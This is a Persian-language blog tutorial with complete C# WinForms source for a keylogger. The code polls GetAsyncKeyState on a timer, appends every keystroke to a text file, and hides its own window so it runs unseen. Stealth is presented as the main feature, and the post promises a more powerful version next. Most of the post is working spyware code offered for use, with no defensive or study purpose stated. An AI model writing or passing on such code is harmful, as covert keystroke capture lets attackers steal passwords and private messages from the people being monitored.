در پست های قبلی ایجاد یک کیلاگر ساده را اموختیم که کاراکتر های زده شده رو تو یه فایل txt ذخیره میکرد
ولی یه مشکل اساسی داشت! (البته مهمترین مشکل)
وقتی که رو یه برنامه دیگه کلیک کنیم کیلاگرمون از کار میوفته یا تخصصی تر بگیم وقتی رو یه برنامه دیگه کلیک میکنیم پنجره کیلاگرمون از حالت active خارج میشه و کاراکتر ها رو ذخیره نمیکنه
خب تو این پست میخوایم کیلاگری رو کد نویسی کنیم که در هر شرایطی کاراکتر های زده شده رو ذخیره کنه و مخفی هم هست!
ابزار لازم:
یک TextBox
یک Button
و یک Timer
یک پروژه جدید گرافیکی بسازید و اسمش رو هرچیزی که خواستید بزارید در اینجا اسم پروژه getkeys هست
کنترل ها رو به شکل زیر در برنامه قرار بدید
تو این قسمت از اموزش چون میخوایم از کد های unmanaged استفاده کنیم باید using زیر رو اول اضافه کنیم
using System.Runtime.InteropServices;
using System.IO;
یه توضیح مختصر درباره کد های مدیریت نشده((unmanaged :
ببینید کد های که در زبان های سطح بالا مثل سی شارپ مینویسیم هنگام کامپایل شدن مستقیم به زبان ماشین تبدیل نمیشن! در ابتدا به زبان سطح میانی(.Net) که توسط بعضی سرویس ها انجام میشه کامپایل میشن و بعد به زبان ماشین.
ولی کد های unmanaged هنگام کامپایل شدن مستقیم به زبان ماشین ترجمه میشه و در نتیجه موجب اجرای سریع کد هامون میشه ولی بیشتر اوقات ارور های که به وجود میاره برطرف کردنش دشوار و زمان بره!
] نکته : تا اونجای که میتونید از کد های unmanaged استفاده نکنید چون اغلب مشکل ساز میشه. [
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vkey);
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(Keys vkey);
کد های بالا رو در زیر کلاس قرار بدید توصیه میکنم کد رو تایپ کنید تا براتون یکم جا بیوفته
فعلا در مورد کد های بالا توضیحی نمیدم! مگر تو پست اینده...
خب بعد از نوشتن کد های بالا حالا یک متد میسازیم از نوع void و اسمش رو میزاریم savekeys و کد های اصلی رو توش قرار میدیم
بهتره از متد TryCatch استفاده کنیم تا هنگام اخطار برناممون بسته .
public void savekeys()
{
try
{
foreach(int i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
{
textBox1.Text += Enum.GetName(typeof(Keys), i) + "";
StreamWriter sw = new StreamWriter("test.txt",true);
sw.Write(Enum.GetName(typeof(Keys), i) + "");
sw.Close();
}
}
}
catch (Exception)
{
}
}
در بالا از دستور foreach استفاده کردیم و مقدار بازگشتی نوع Keys رو در متغییر i ریختیم . کار کد بالا نمایش کاراکتر های زده شده در TextBox و همینطور ذخیره کردن انها درون یک فایل تکست هستش
بعد باید متد بالا رو در تایمر فراخوانی کنیم! پس کد زیر رو در تایمر بنویسید
Savekeys();
و در اخر در قسمت Form load کد زیر رو اضافه کنید و تمام!
Timer1.Start();
تا اینجا برناممون تقریبا تکمیل شده و میتونید یه بار برنامه رو تست کنید ببینید کلید های زده شده رو تو TextBox نمایش میده یا نه
حالا میرسیم به بخش ویژه برنامه ! مخفی کردن فرم
کد زیر رو به کلاس اضافه کنید
[System.Runtime.InteropServices.DllImport("user32.dll", CharSet = System.Runtime.InteropServices.CharSet.Auto)]
private static extern bool ShowWindow(IntPtr hwnd, int nCmdShow);
حالا درون دکمه کد زیر رو کپی کنید
ShowWindow(this.Handle, 0);
حالا یه بار دیگه برنامه رو اجرا کنید اینبار رو دکمه کلیک کنید تا فرم مخفی شه!
کلا کد هامون تا اینجا میشه این
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
namespace getkeys
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vkey);
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(Keys vkey);
[System.Runtime.InteropServices.DllImport("user32.dll", CharSet = System.Runtime.InteropServices.CharSet.Auto)]
private static extern bool ShowWindow(IntPtr hwnd, int nCmdShow);
private void Form1_Load(object sender, EventArgs e)
{
timer1.Start();
}
public void savekeys()
{
try
{
foreach(int i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
{
textBox1.Text += Enum.GetName(typeof(Keys), i) + "";
StreamWriter sw = new StreamWriter("test.txt",true);
sw.Write(Enum.GetName(typeof(Keys), i) + "");
sw.Close();
}
}
}
catch (Exception)
{
}
}
private void timer1_Tick(object sender, EventArgs e)
{
savekeys();
}
private void button1_Click(object sender, EventArgs e)
{
ShowWindow(this.Handle, 0);
}
}
}
اموزش بالا تقریبا یکم سخت بود ولی در اپدیت بعدی این پست توضیحات بیشتری در مورد کد ها میدم تا براتون خوب جا بیوفته در اپدیت بعد یک کیلاگر قوی تر و سریع تر میسازیم!
امید وارم از اموزش لذت برده باشید هرگونه مشکلی که در نوشتن کد براتون پیش اومد همینجا برام کامنت بزارین
موفق باشید :)
Rasi passworde Postaro chetori mitoonam begiram? :|